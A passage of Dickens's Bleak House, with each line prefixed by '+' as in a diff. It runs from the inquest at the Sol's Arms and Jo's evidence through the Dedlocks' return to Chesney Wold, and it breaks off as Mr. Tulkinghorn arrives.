+sustaining under the general excitement that a pieman who has
+established himself for the occasion at the corner of the court says
+his brandy-balls go off like smoke. What time the beadle, hovering
+between the door of Mr. Krook's establishment and the door of the
+Sol's Arms, shows the curiosity in his keeping to a few discreet
+spirits and accepts the compliment of a glass of ale or so in return.
+
+At the appointed hour arrives the coroner, for whom the jurymen are
+waiting and who is received with a salute of skittles from the good
+dry skittle-ground attached to the Sol's Arms. The coroner frequents
+more public-houses than any man alive. The smell of sawdust, beer,
+tobacco-smoke, and spirits is inseparable in his vocation from death
+in its most awful shapes. He is conducted by the beadle and the
+landlord to the Harmonic Meeting Room, where he puts his hat on the
+piano and takes a Windsor-chair at the head of a long table formed of
+several short tables put together and ornamented with glutinous rings
+in endless involutions, made by pots and glasses. As many of the jury
+as can crowd together at the table sit there. The rest get among the
+spittoons and pipes or lean against the piano. Over the coroner's
+head is a small iron garland, the pendant handle of a bell, which
+rather gives the majesty of the court the appearance of going to be
+hanged presently.
+
+Call over and swear the jury! While the ceremony is in progress,
+sensation is created by the entrance of a chubby little man in a
+large shirt-collar, with a moist eye and an inflamed nose, who
+modestly takes a position near the door as one of the general public,
+but seems familiar with the room too. A whisper circulates that this
+is Little Swills. It is considered not unlikely that he will get up
+an imitation of the coroner and make it the principal feature of the
+Harmonic Meeting in the evening.
+
+"Well, gentlemen--" the coroner begins.
+
+"Silence there, will you!" says the beadle. Not to the coroner,
+though it might appear so.
+
+"Well, gentlemen," resumes the coroner. "You are impanelled here to
+inquire into the death of a certain man. Evidence will be given
+before you as to the circumstances attending that death, and you will
+give your verdict according to the--skittles; they must be stopped,
+you know, beadle!--evidence, and not according to anything else. The
+first thing to be done is to view the body."
+
+"Make way there!" cries the beadle.
+
+So they go out in a loose procession, something after the manner of a
+straggling funeral, and make their inspection in Mr. Krook's back
+second floor, from which a few of the jurymen retire pale and
+precipitately. The beadle is very careful that two gentlemen not very
+neat about the cuffs and buttons (for whose accommodation he has
+provided a special little table near the coroner in the Harmonic
+Meeting Room) should see all that is to be seen. For they are the
+public chroniclers of such inquiries by the line; and he is not
+superior to the universal human infirmity, but hopes to read in print
+what "Mooney, the active and intelligent beadle of the district,"
+said and did and even aspires to see the name of Mooney as familiarly
+and patronizingly mentioned as the name of the hangman is, according
+to the latest examples.
+
+Little Swills is waiting for the coroner and jury on their return.
+Mr. Tulkinghorn, also. Mr. Tulkinghorn is received with distinction
+and seated near the coroner between that high judicial officer, a
+bagatelle-board, and the coal-box. The inquiry proceeds. The jury
+learn how the subject of their inquiry died, and learn no more about
+him. "A very eminent solicitor is in attendance, gentlemen," says the
+coroner, "who, I am informed, was accidentally present when discovery
+of the death was made, but he could only repeat the evidence you have
+already heard from the surgeon, the landlord, the lodger, and the
+law-stationer, and it is not necessary to trouble him. Is anybody in
+attendance who knows anything more?"
+
+Mrs. Piper pushed forward by Mrs. Perkins. Mrs. Piper sworn.
+
+Anastasia Piper, gentlemen. Married woman. Now, Mrs. Piper, what have
+you got to say about this?
+
+Why, Mrs. Piper has a good deal to say, chiefly in parentheses and
+without punctuation, but not much to tell. Mrs. Piper lives in the
+court (which her husband is a cabinet-maker), and it has long been
+well beknown among the neighbours (counting from the day next but one
+before the half-baptizing of Alexander James Piper aged eighteen
+months and four days old on accounts of not being expected to live
+such was the sufferings gentlemen of that child in his gums) as the
+plaintive--so Mrs. Piper insists on calling the deceased--was
+reported to have sold himself. Thinks it was the plaintive's air in
+which that report originatinin. See the plaintive often and
+considered as his air was feariocious and not to be allowed to go
+about some children being timid (and if doubted hoping Mrs. Perkins
+may be brought forard for she is here and will do credit to her
+husband and herself and family). Has seen the plaintive wexed and
+worrited by the children (for children they will ever be and you
+cannot expect them specially if of playful dispositions to be
+Methoozellers which you was not yourself). On accounts of this and
+his dark looks has often dreamed as she see him take a pick-axe from
+his pocket and split Johnny's head (which the child knows not fear
+and has repeatually called after him close at his eels). Never
+however see the plaintive take a pick-axe or any other wepping far
+from it. Has seen him hurry away when run and called after as if not
+partial to children and never see him speak to neither child nor
+grown person at any time (excepting the boy that sweeps the crossing
+down the lane over the way round the corner which if he was here
+would tell you that he has been seen a-speaking to him frequent).
+
+Says the coroner, is that boy here? Says the beadle, no, sir, he is
+not here. Says the coroner, go and fetch him then. In the absence of
+the active and intelligent, the coroner converses with Mr.
+Tulkinghorn.
+
+Oh! Here's the boy, gentlemen!
+
+Here he is, very muddy, very hoarse, very ragged. Now, boy! But stop
+a minute. Caution. This boy must be put through a few preliminary
+paces.
+
+Name, Jo. Nothing else that he knows on. Don't know that everybody
+has two names. Never heerd of sich a think. Don't know that Jo is
+short for a longer name. Thinks it long enough for HIM. HE don't find
+no fault with it. Spell it? No. HE can't spell it. No father, no
+mother, no friends. Never been to school. What's home? Knows a
+broom's a broom, and knows it's wicked to tell a lie. Don't recollect
+who told him about the broom or about the lie, but knows both. Can't
+exactly say what'll be done to him arter he's dead if he tells a lie
+to the gentlemen here, but believes it'll be something wery bad to
+punish him, and serve him right--and so he'll tell the truth.
+
+"This won't do, gentlemen!" says the coroner with a melancholy shake
+of the head.
+
+"Don't you think you can receive his evidence, sir?" asks an
+attentive juryman.
+
+"Out of the question," says the coroner. "You have heard the boy.
+'Can't exactly say' won't do, you know. We can't take THAT in a court
+of justice, gentlemen. It's terrible depravity. Put the boy aside."
+
+Boy put aside, to the great edification of the audience, especially
+of Little Swills, the comic vocalist.
+
+Now. Is there any other witness? No other witness.
+
+Very well, gentlemen! Here's a man unknown, proved to have been in
+the habit of taking opium in large quantities for a year and a half,
+found dead of too much opium. If you think you have any evidence to
+lead you to the conclusion that he committed suicide, you will come
+to that conclusion. If you think it is a case of accidental death,
+you will find a verdict accordingly.
+
+Verdict accordingly. Accidental death. No doubt. Gentlemen, you are
+discharged. Good afternoon.
+
+While the coroner buttons his great-coat, Mr. Tulkinghorn and he give
+private audience to the rejected witness in a corner.
+
+That graceless creature only knows that the dead man (whom he
+recognized just now by his yellow face and black hair) was sometimes
+hooted and pursued about the streets. That one cold winter night when
+he, the boy, was shivering in a doorway near his crossing, the man
+turned to look at him, and came back, and having questioned him and
+found that he had not a friend in the world, said, "Neither have I.
+Not one!" and gave him the price of a supper and a night's lodging.
+That the man had often spoken to him since and asked him whether he
+slept sound at night, and how he bore cold and hunger, and whether he
+ever wished to die, and similar strange questions. That when the man
+had no money, he would say in passing, "I am as poor as you to-day,
+Jo," but that when he had any, he had always (as the boy most
+heartily believes) been glad to give him some.
+
+"He was wery good to me," says the boy, wiping his eyes with his
+wretched sleeve. "Wen I see him a-layin' so stritched out just now, I
+wished he could have heerd me tell him so. He wos wery good to me, he
+wos!"
+
+As he shuffles downstairs, Mr. Snagsby, lying in wait for him, puts a
+half-crown in his hand. "If you ever see me coming past your crossing
+with my little woman--I mean a lady--" says Mr. Snagsby with his
+finger on his nose, "don't allude to it!"
+
+For some little time the jurymen hang about the Sol's Arms
+colloquially. In the sequel, half-a-dozen are caught up in a cloud of
+pipe-smoke that pervades the parlour of the Sol's Arms; two stroll to
+Hampstead; and four engage to go half-price to the play at night, and
+top up with oysters. Little Swills is treated on several hands. Being
+asked what he thinks of the proceedings, characterizes them (his
+strength lying in a slangular direction) as "a rummy start." The
+landlord of the Sol's Arms, finding Little Swills so popular,
+commends him highly to the jurymen and public, observing that for a
+song in character he don't know his equal and that that man's
+character-wardrobe would fill a cart.
+
+Thus, gradually the Sol's Arms melts into the shadowy night and then
+flares out of it strong in gas. The Harmonic Meeting hour arriving,
+the gentleman of professional celebrity takes the chair, is faced
+(red-faced) by Little Swills; their friends rally round them and
+support first-rate talent. In the zenith of the evening, Little
+Swills says, "Gentlemen, if you'll permit me, I'll attempt a short
+description of a scene of real life that came off here to-day." Is
+much applauded and encouraged; goes out of the room as Swills; comes
+in as the coroner (not the least in the world like him); describes
+the inquest, with recreative intervals of piano-forte accompaniment,
+to the refrain: With his (the coroner's) tippy tol li doll, tippy tol
+lo doll, tippy tol li doll, Dee!
+
+The jingling piano at last is silent, and the Harmonic friends rally
+round their pillows. Then there is rest around the lonely figure, now
+laid in its last earthly habitation; and it is watched by the gaunt
+eyes in the shutters through some quiet hours of night. If this
+forlorn man could have been prophetically seen lying here by the
+mother at whose breast he nestled, a little child, with eyes upraised
+to her loving face, and soft hand scarcely knowing how to close upon
+the neck to which it crept, what an impossibility the vision would
+have seemed! Oh, if in brighter days the now-extinguished fire within
+him ever burned for one woman who held him in her heart, where is
+she, while these ashes are above the ground!
+
+It is anything but a night of rest at Mr. Snagsby's, in Cook's Court,
+where Guster murders sleep by going, as Mr. Snagsby himself
+allows--not to put too fine a point upon it--out of one fit into
+twenty. The occasion of this seizure is that Guster has a tender
+heart and a susceptible something that possibly might have been
+imagination, but for Tooting and her patron saint. Be it what it may,
+now, it was so direfully impressed at tea-time by Mr. Snagsby's
+account of the inquiry at which he had assisted that at supper-time
+she projected herself into the kitchen, preceded by a flying Dutch
+cheese, and fell into a fit of unusual duration, which she only came
+out of to go into another, and another, and so on through a chain of
+fits, with short intervals between, of which she has pathetically
+availed herself by consuming them in entreaties to Mrs. Snagsby not
+to give her warning "when she quite comes to," and also in appeals to
+the whole establishment to lay her down on the stones and go to bed.
+Hence, Mr. Snagsby, at last hearing the cock at the little dairy in
+Cursitor Street go into that disinterested ecstasy of his on the
+subject of daylight, says, drawing a long breath, though the most
+patient of men, "I thought you was dead, I am sure!"
+
+What question this enthusiastic fowl supposes he settles when he
+strains himself to such an extent, or why he should thus crow (so men
+crow on various triumphant public occasions, however) about what
+cannot be of any moment to him, is his affair. It is enough that
+daylight comes, morning comes, noon comes.
+
+Then the active and intelligent, who has got into the morning papers
+as such, comes with his pauper company to Mr. Krook's and bears off
+the body of our dear brother here departed to a hemmed-in churchyard,
+pestiferous and obscene, whence malignant diseases are communicated
+to the bodies of our dear brothers and sisters who have not departed,
+while our dear brothers and sisters who hang about official
+back-stairs--would to heaven they HAD departed!--are very complacent
+and agreeable. Into a beastly scrap of ground which a Turk would
+reject as a savage abomination and a Caffre would shudder at, they
+bring our dear brother here departed to receive Christian burial.
+
+With houses looking on, on every side, save where a reeking little
+tunnel of a court gives access to the iron gate--with every villainy
+of life in action close on death, and every poisonous element of
+death in action close on life--here they lower our dear brother down
+a foot or two, here sow him in corruption, to be raised in
+corruption: an avenging ghost at many a sick-bedside, a shameful
+testimony to future ages how civilization and barbarism walked this
+boastful island together.
+
+Come night, come darkness, for you cannot come too soon or stay too
+long by such a place as this! Come, straggling lights into the
+windows of the ugly houses; and you who do iniquity therein, do it at
+least with this dread scene shut out! Come, flame of gas, burning so
+sullenly above the iron gate, on which the poisoned air deposits its
+witch-ointment slimy to the touch! It is well that you should call to
+every passerby, "Look here!"
+
+With the night comes a slouching figure through the tunnel-court to
+the outside of the iron gate. It holds the gate with its hands and
+looks in between the bars, stands looking in for a little while.
+
+It then, with an old broom it carries, softly sweeps the step and
+makes the archway clean. It does so very busily and trimly, looks in
+again a little while, and so departs.
+
+Jo, is it thou? Well, well! Though a rejected witness, who "can't
+exactly say" what will be done to him in greater hands than men's,
+thou art not quite in outer darkness. There is something like a
+distant ray of light in thy muttered reason for this: "He wos wery
+good to me, he wos!"
+
+
+
+
+CHAPTER XII
+
+On the Watch
+
+
+It has left off raining down in Lincolnshire at last, and Chesney
+Wold has taken heart. Mrs. Rouncewell is full of hospitable cares,
+for Sir Leicester and my Lady are coming home from Paris. The
+fashionable intelligence has found it out and communicates the glad
+tidings to benighted England. It has also found out that they will
+entertain a brilliant and distinguished circle of the ELITE of the
+BEAU MONDE (the fashionable intelligence is weak in English, but a
+giant refreshed in French) at the ancient and hospitable family seat
+in Lincolnshire.
+
+For the greater honour of the brilliant and distinguished circle, and
+of Chesney Wold into the bargain, the broken arch of the bridge in
+the park is mended; and the water, now retired within its proper
+limits and again spanned gracefully, makes a figure in the prospect
+from the house. The clear, cold sunshine glances into the brittle
+woods and approvingly beholds the sharp wind scattering the leaves
+and drying the moss. It glides over the park after the moving shadows
+of the clouds, and chases them, and never catches them, all day. It
+looks in at the windows and touches the ancestral portraits with bars
+and patches of brightness never contemplated by the painters. Athwart
+the picture of my Lady, over the great chimney-piece, it throws a
+broad bend-sinister of light that strikes down crookedly into the
+hearth and seems to rend it.
+
+Through the same cold sunshine and the same sharp wind, my Lady and
+Sir Leicester, in their travelling chariot (my Lady's woman and Sir
+Leicester's man affectionate in the rumble), start for home. With a
+considerable amount of jingling and whip-cracking, and many plunging
+demonstrations on the part of two bare-backed horses and two centaurs
+with glazed hats, jack-boots, and flowing manes and tails, they
+rattle out of the yard of the Hotel Bristol in the Place Vendome and
+canter between the sun-and-shadow-chequered colonnade of the Rue de
+Rivoli and the garden of the ill-fated palace of a headless king and
+queen, off by the Place of Concord, and the Elysian Fields, and the
+Gate of the Star, out of Paris.
+
+Sooth to say, they cannot go away too fast, for even here my Lady
+Dedlock has been bored to death. Concert, assembly, opera, theatre,
+drive, nothing is new to my Lady under the worn-out heavens. Only
+last Sunday, when poor wretches were gay--within the walls playing
+with children among the clipped trees and the statues in the Palace
+Garden; walking, a score abreast, in the Elysian Fields, made more
+Elysian by performing dogs and wooden horses; between whiles
+filtering (a few) through the gloomy Cathedral of Our Lady to say a
+word or two at the base of a pillar within flare of a rusty little
+gridiron-full of gusty little tapers; without the walls encompassing
+Paris with dancing, love-making, wine-drinking, tobacco-smoking,
+tomb-visiting, billiard card and domino playing, quack-doctoring, and
+much murderous refuse, animate and inanimate--only last Sunday, my
+Lady, in the desolation of Boredom and the clutch of Giant Despair,
+almost hated her own maid for being in spirits.
+
+She cannot, therefore, go too fast from Paris. Weariness of soul lies
+before her, as it lies behind--her Ariel has put a girdle of it round
+the whole earth, and it cannot be unclasped--but the imperfect remedy
+is always to fly from the last place where it has been experienced.
+Fling Paris back into the distance, then, exchanging it for endless
+avenues and cross-avenues of wintry trees! And, when next beheld, let
+it be some leagues away, with the Gate of the Star a white speck
+glittering in the sun, and the city a mere mound in a plain--two dark
+square towers rising out of it, and light and shadow descending on it
+aslant, like the angels in Jacob's dream!
+
+Sir Leicester is generally in a complacent state, and rarely bored.
+When he has nothing else to do, he can always contemplate his own
+greatness. It is a considerable advantage to a man to have so
+inexhaustible a subject. After reading his letters, he leans back in
+his corner of the carriage and generally reviews his importance to
+society.
+
+"You have an unusual amount of correspondence this morning?" says my
+Lady after a long time. She is fatigued with reading. Has almost read
+a page in twenty miles.
+
+"Nothing in it, though. Nothing whatever."
+
+"I saw one of Mr. Tulkinghorn's long effusions, I think?"
+
+"You see everything," says Sir Leicester with admiration.
+
+"Ha!" sighs my Lady. "He is the most tiresome of men!"
+
+"He sends--I really beg your pardon--he sends," says Sir Leicester,
+selecting the letter and unfolding it, "a message to you. Our
+stopping to change horses as I came to his postscript drove it out of
+my memory. I beg you'll excuse me. He says--" Sir Leicester is so
+long in taking out his eye-glass and adjusting it that my Lady looks
+a little irritated. "He says 'In the matter of the right of way--' I
+beg your pardon, that's not the place. He says--yes! Here I have it!
+He says, 'I beg my respectful compliments to my Lady, who, I hope,
+has benefited by the change. Will you do me the favour to mention (as
+it may interest her) that I have something to tell her on her return
+in reference to the person who copied the affidavit in the Chancery
+suit, which so powerfully stimulated her curiosity. I have seen
+him.'"
+
+My Lady, leaning forward, looks out of her window.
+
+"That's the message," observes Sir Leicester.
+
+"I should like to walk a little," says my Lady, still looking out of
+her window.
+
+"Walk?" repeats Sir Leicester in a tone of surprise.
+
+"I should like to walk a little," says my Lady with unmistakable
+distinctness. "Please to stop the carriage."
+
+The carriage is stopped, the affectionate man alights from the
+rumble, opens the door, and lets down the steps, obedient to an
+impatient motion of my Lady's hand. My Lady alights so quickly and
+walks away so quickly that Sir Leicester, for all his scrupulous
+politeness, is unable to assist her, and is left behind. A space of a
+minute or two has elapsed before he comes up with her. She smiles,
+looks very handsome, takes his arm, lounges with him for a quarter of
+a mile, is very much bored, and resumes her seat in the carriage.
+
+The rattle and clatter continue through the greater part of three
+days, with more or less of bell-jingling and whip-cracking, and more
+or less plunging of centaurs and bare-backed horses. Their courtly
+politeness to each other at the hotels where they tarry is the theme
+of general admiration. Though my Lord IS a little aged for my Lady,
+says Madame, the hostess of the Golden Ape, and though he might be
+her amiable father, one can see at a glance that they love each
+other. One observes my Lord with his white hair, standing, hat in
+hand, to help my Lady to and from the carriage. One observes my Lady,
+how recognisant of my Lord's politeness, with an inclination of her
+gracious head and the concession of her so-genteel fingers! It is
+ravishing!
+
+The sea has no appreciation of great men, but knocks them about like
+the small fry. It is habitually hard upon Sir Leicester, whose
+countenance it greenly mottles in the manner of sage-cheese and in
+whose aristocratic system it effects a dismal revolution. It is the
+Radical of Nature to him. Nevertheless, his dignity gets over it
+after stopping to refit, and he goes on with my Lady for Chesney
+Wold, lying only one night in London on the way to Lincolnshire.
+
+Through the same cold sunlight, colder as the day declines, and
+through the same sharp wind, sharper as the separate shadows of bare
+trees gloom together in the woods, and as the Ghost's Walk, touched
+at the western corner by a pile of fire in the sky, resigns itself to
+coming night, they drive into the park. The rooks, swinging in their
+lofty houses in the elm-tree avenue, seem to discuss the question of
+the occupancy of the carriage as it passes underneath, some agreeing
+that Sir Leicester and my Lady are come down, some arguing with
+malcontents who won't admit it, now all consenting to consider the
+question disposed of, now all breaking out again in violent debate,
+incited by one obstinate and drowsy bird who will persist in putting
+in a last contradictory croak. Leaving them to swing and caw, the
+travelling chariot rolls on to the house, where fires gleam warmly
+through some of the windows, though not through so many as to give an
+inhabited expression to the darkening mass of front. But the
+brilliant and distinguished circle will soon do that.
+
+Mrs. Rouncewell is in attendance and receives Sir Leicester's
+customary shake of the hand with a profound curtsy.
+
+"How do you do, Mrs. Rouncewell? I am glad to see you."
+
+"I hope I have the honour of welcoming you in good health, Sir
+Leicester?"
+
+"In excellent health, Mrs. Rouncewell."
+
+"My Lady is looking charmingly well," says Mrs. Rouncewell with
+another curtsy.
+
+My Lady signifies, without profuse expenditure of words, that she is
+as wearily well as she can hope to be.
+
+But Rosa is in the distance, behind the housekeeper; and my Lady, who
+has not subdued the quickness of her observation, whatever else she
+may have conquered, asks, "Who is that girl?"
+
+"A young scholar of mine, my Lady. Rosa."
+
+"Come here, Rosa!" Lady Dedlock beckons her, with even an appearance
+of interest. "Why, do you know how pretty you are, child?" she says,
+touching her shoulder with her two forefingers.
+
+Rosa, very much abashed, says, "No, if you please, my Lady!" and
+glances up, and glances down, and don't know where to look, but looks
+all the prettier.
+
+"How old are you?"
+
+"Nineteen, my Lady."
+
+"Nineteen," repeats my Lady thoughtfully. "Take care they don't spoil
+you by flattery."
+
+"Yes, my Lady."
+
+My Lady taps her dimpled cheek with the same delicate gloved fingers
+and goes on to the foot of the oak staircase, where Sir Leicester
+pauses for her as her knightly escort. A staring old Dedlock in a
+panel, as large as life and as dull, looks as if he didn't know what
+to make of it, which was probably his general state of mind in the
+days of Queen Elizabeth.
+
+That evening, in the housekeeper's room, Rosa can do nothing but
+murmur Lady Dedlock's praises. She is so affable, so graceful, so
+beautiful, so elegant; has such a sweet voice and such a thrilling
+touch that Rosa can feel it yet! Mrs. Rouncewell confirms all this,
+not without personal pride, reserving only the one point of
+affability. Mrs. Rouncewell is not quite sure as to that. Heaven
+forbid that she should say a syllable in dispraise of any member of
+that excellent family, above all, of my Lady, whom the whole world
+admires; but if my Lady would only be "a little more free," not quite
+so cold and distant, Mrs. Rouncewell thinks she would be more
+affable.
+
+"'Tis almost a pity," Mrs. Rouncewell adds--only "almost" because it
+borders on impiety to suppose that anything could be better than it
+is, in such an express dispensation as the Dedlock affairs--"that my
+Lady has no family. If she had had a daughter now, a grown young
+lady, to interest her, I think she would have had the only kind of
+excellence she wants."
+
+"Might not that have made her still more proud, grandmother?" says
+Watt, who has been home and come back again, he is such a good
+grandson.
+
+"More and most, my dear," returns the housekeeper with dignity, "are
+words it's not my place to use--nor so much as to hear--applied to
+any drawback on my Lady."
+
+"I beg your pardon, grandmother. But she is proud, is she not?"
+
+"If she is, she has reason to be. The Dedlock family have always
+reason to be."
+
+"Well," says Watt, "it's to be hoped they line out of their
+prayer-books a certain passage for the common people about pride and
+vainglory. Forgive me, grandmother! Only a joke!"
+
+"Sir Leicester and Lady Dedlock, my dear, are not fit subjects for
+joking."
+
+"Sir Leicester is no joke by any means," says Watt, "and I humbly ask
+his pardon. I suppose, grandmother, that even with the family and
+their guests down here, there is no objection to my prolonging my
+stay at the Dedlock Arms for a day or two, as any other traveller
+might?"
+
+"Surely, none in the world, child."
+
+"I am glad of that," says Watt, "because I have an inexpressible
+desire to extend my knowledge of this beautiful neighbourhood."
+
+He happens to glance at Rosa, who looks down and is very shy indeed.
+But according to the old superstition, it should be Rosa's ears that
+burn, and not her fresh bright cheeks, for my Lady's maid is holding
+forth about her at this moment with surpassing energy.
+
+My Lady's maid is a Frenchwoman of two and thirty, from somewhere in
+the southern country about Avignon and Marseilles, a large-eyed brown
+woman with black hair who would be handsome but for a certain feline
+mouth and general uncomfortable tightness of face, rendering the jaws
+too eager and the skull too prominent. There is something indefinably
+keen and wan about her anatomy, and she has a watchful way of looking
+out of the corners of her eyes without turning her head which could
+be pleasantly dispensed with, especially when she is in an ill humour
+and near knives. Through all the good taste of her dress and little
+adornments, these objections so express themselves that she seems to
+go about like a very neat she-wolf imperfectly tamed. Besides being
+accomplished in all the knowledge appertaining to her post, she is
+almost an Englishwoman in her acquaintance with the language;
+consequently, she is in no want of words to shower upon Rosa for
+having attracted my Lady's attention, and she pours them out with
+such grim ridicule as she sits at dinner that her companion, the
+affectionate man, is rather relieved when she arrives at the spoon
+stage of that performance.
+
+Ha, ha, ha! She, Hortense, been in my Lady's service since five years
+and always kept at the distance, and this doll, this puppet,
+caressed--absolutely caressed--by my Lady on the moment of her
+arriving at the house! Ha, ha, ha! "And do you know how pretty you
+are, child?" "No, my Lady." You are right there! "And how old are
+you, child! And take care they do not spoil you by flattery, child!"
+Oh, how droll! It is the BEST thing altogether.
+
+In short, it is such an admirable thing that Mademoiselle Hortense
+can't forget it; but at meals for days afterwards, even among her
+countrywomen and others attached in like capacity to the troop of
+visitors, relapses into silent enjoyment of the joke--an enjoyment
+expressed, in her own convivial manner, by an additional tightness of
+face, thin elongation of compressed lips, and sidewise look, which
+intense appreciation of humour is frequently reflected in my Lady's
+mirrors when my Lady is not among them.
+
+All the mirrors in the house are brought into action now, many of
+them after a long blank. They reflect handsome faces, simpering
+faces, youthful faces, faces of threescore and ten that will not
+submit to be old; the entire collection of faces that have come to
+pass a January week or two at Chesney Wold, and which the fashionable
+intelligence, a mighty hunter before the Lord, hunts with a keen
+scent, from their breaking cover at the Court of St. James's to their
+being run down to death. The place in Lincolnshire is all alive. By
+day guns and voices are heard ringing in the woods, horsemen and
+carriages enliven the park roads, servants and hangers-on pervade the
+village and the Dedlock Arms. Seen by night from distant openings in
+the trees, the row of windows in the long drawing-room, where my
+Lady's picture hangs over the great chimney-piece, is like a row of
+jewels set in a black frame. On Sunday the chill little church is
+almost warmed by so much gallant company, and the general flavour of
+the Dedlock dust is quenched in delicate perfumes.
+
+The brilliant and distinguished circle comprehends within it no
+contracted amount of education, sense, courage, honour, beauty, and
+virtue. Yet there is something a little wrong about it in despite of
+its immense advantages. What can it be?
+
+Dandyism? There is no King George the Fourth now (more the pity) to
+set the dandy fashion; there are no clear-starched jack-towel
+neckcloths, no short-waisted coats, no false calves, no stays. There
+are no caricatures, now, of effeminate exquisites so arrayed,
+swooning in opera boxes with excess of delight and being revived by
+other dainty creatures poking long-necked scent-bottles at their
+noses. There is no beau whom it takes four men at once to shake into
+his buckskins, or who goes to see all the executions, or who is
+troubled with the self-reproach of having once consumed a pea. But is
+there dandyism in the brilliant and distinguished circle
+notwithstanding, dandyism of a more mischievous sort, that has got
+below the surface and is doing less harmless things than
+jack-towelling itself and stopping its own digestion, to which no
+rational person need particularly object?
+
+Why, yes. It cannot be disguised. There ARE at Chesney Wold this
+January week some ladies and gentlemen of the newest fashion, who
+have set up a dandyism--in religion, for instance. Who in mere
+lackadaisical want of an emotion have agreed upon a little dandy talk
+about the vulgar wanting faith in things in general, meaning in the
+things that have been tried and found wanting, as though a low fellow
+should unaccountably lose faith in a bad shilling after finding it
+out! Who would make the vulgar very picturesque and faithful by
+putting back the hands upon the clock of time and cancelling a few
+hundred years of history.
+
+There are also ladies and gentlemen of another fashion, not so new,
+but very elegant, who have agreed to put a smooth glaze on the world
+and to keep down all its realities. For whom everything must be
+languid and pretty. Who have found out the perpetual stoppage. Who
+are to rejoice at nothing and be sorry for nothing. Who are not to be
+disturbed by ideas. On whom even the fine arts, attending in powder
+and walking backward like the Lord Chamberlain, must array themselves
+in the milliners' and tailors' patterns of past generations and be
+particularly careful not to be in earnest or to receive any impress
+from the moving age.
+
+Then there is my Lord Boodle, of considerable reputation with his
+party, who has known what office is and who tells Sir Leicester
+Dedlock with much gravity, after dinner, that he really does not see
+to what the present age is tending. A debate is not what a debate
+used to be; the House is not what the House used to be; even a
+Cabinet is not what it formerly was. He perceives with astonishment
+that supposing the present government to be overthrown, the limited
+choice of the Crown, in the formation of a new ministry, would lie
+between Lord Coodle and Sir Thomas Doodle--supposing it to be
+impossible for the Duke of Foodle to act with Goodle, which may be
+assumed to be the case in consequence of the breach arising out of
+that affair with Hoodle. Then, giving the Home Department and the
+leadership of the House of Commons to Joodle, the Exchequer to
+Koodle, the Colonies to Loodle, and the Foreign Office to Moodle,
+what are you to do with Noodle? You can't offer him the Presidency of
+the Council; that is reserved for Poodle. You can't put him in the
+Woods and Forests; that is hardly good enough for Quoodle. What
+follows? That the country is shipwrecked, lost, and gone to pieces
+(as is made manifest to the patriotism of Sir Leicester Dedlock)
+because you can't provide for Noodle!
+
+On the other hand, the Right Honourable William Buffy, M.P., contends
+across the table with some one else that the shipwreck of the
+country--about which there is no doubt; it is only the manner of it
+that is in question--is attributable to Cuffy. If you had done with
+Cuffy what you ought to have done when he first came into Parliament,
+and had prevented him from going over to Duffy, you would have got
+him into alliance with Fuffy, you would have had with you the weight
+attaching as a smart debater to Guffy, you would have brought to bear
+upon the elections the wealth of Huffy, you would have got in for
+three counties Juffy, Kuffy, and Luffy, and you would have
+strengthened your administration by the official knowledge and the
+business habits of Muffy. All this, instead of being as you now are,
+dependent on the mere caprice of Puffy!
+
+As to this point, and as to some minor topics, there are differences
+of opinion; but it is perfectly clear to the brilliant and
+distinguished circle, all round, that nobody is in question but
+Boodle and his retinue, and Buffy and HIS retinue. These are the
+great actors for whom the stage is reserved. A People there are, no
+doubt--a certain large number of supernumeraries, who are to be
+occasionally addressed, and relied upon for shouts and choruses, as
+on the theatrical stage; but Boodle and Buffy, their followers and
+families, their heirs, executors, administrators, and assigns, are
+the born first-actors, managers, and leaders, and no others can
+appear upon the scene for ever and ever.
+
+In this, too, there is perhaps more dandyism at Chesney Wold than the
+brilliant and distinguished circle will find good for itself in the
+long run. For it is, even with the stillest and politest circles, as
+with the circle the necromancer draws around him--very strange
+appearances may be seen in active motion outside. With this
+difference, that being realities and not phantoms, there is the
+greater danger of their breaking in.
+
+Chesney Wold is quite full anyhow, so full that a burning sense of
+injury arises in the breasts of ill-lodged ladies'-maids, and is not
+to be extinguished. Only one room is empty. It is a turret chamber of
+the third order of merit, plainly but comfortably furnished and
+having an old-fashioned business air. It is Mr. Tulkinghorn's room,
+and is never bestowed on anybody else, for he may come at any time.
+He is not come yet. It is his quiet habit to walk across the park
+from the village in fine weather, to drop into this room as if he had
+never been out of it since he was last seen there, to request a
+servant to inform Sir Leicester that he is arrived in case he should
+be wanted, and to appear ten minutes before dinner in the shadow of
+the library-door. He sleeps in his turret with a complaining
+flag-staff over his head, and has some leads outside on which, any
+fine morning when he is down here, his black figure may be seen
+walking before breakfast like a larger species of rook.
+
+Every day before dinner, my Lady looks for him in the dusk of the
+library, but he is not there. Every day at dinner, my Lady glances
+down the table for the vacant place that would be waiting to receive
+him if he had just arrived, but there is no vacant place. Every night
+my Lady casually asks her maid, "Is Mr. Tulkinghorn come?"
+
+Every night the answer is, "No, my Lady, not yet."
+
+One night, while having her hair undressed, my Lady loses herself in
+deep thought after this reply until she sees her own brooding face in
+the opposite glass, and a pair of black eyes curiously observing her.
+
+"Be so good as to attend," says my Lady then, addressing the
+reflection of Hortense, "to your business. You can contemplate your
+beauty at another time."
+
+"Pardon! It was your Ladyship's beauty."
+
+"That," says my Lady, "you needn't contemplate at all."
+
+At length, one afternoon a little before sunset, when the bright
+groups of figures which have for the last hour or two enlivened the
+Ghost's Walk are all dispersed and only Sir Leicester and my Lady
+remain upon the terrace, Mr. Tulkinghorn appears. He comes towards
+them at his usual methodical pace, which is never quickened, never
+slackened. He wears his usual expressionless mask--if it be a
+mask--and carries family secrets in every limb of his body and every
+crease of his dress. Whether his whole soul is devoted to the great
+or whether he yields them nothing beyond the services he sells is his
+personal secret. He keeps it, as he keeps the secrets of his clients;
+he is his own client in that matter, and will never betray himself.
+
+"How do you do, Mr. Tulkinghorn?" says Sir Leicester, giving him his
+hand.
+
+Mr. Tulkinghorn is quite well. Sir Leicester is quite well. My Lady
+is quite well. All highly satisfactory. The lawyer, with his hands
+behind him, walks at Sir Leicester's side along the terrace. My Lady
+walks upon the other side.
+
+"We expected you before," says Sir Leicester. A gracious observation.
+As much as to say, "Mr. Tulkinghorn, we remember your existence when
+you are not here to remind us of it by your presence. We bestow a
+fragment of our minds upon you, sir, you see!"
+
+Mr. Tulkinghorn, comprehending it, inclines his head and says he is
+much obliged.
+
+"I should have come down sooner," he explains, "but that I have been
+much engaged with those matters in the several suits between yourself
+and Boythorn."
+
+"A man of a very ill-regulated mind," observes Sir Leicester with
+severity. "An extremely dangerous person in any community. A man of a
+very low character of mind."
+
+"He is obstinate," says Mr. Tulkinghorn.
+
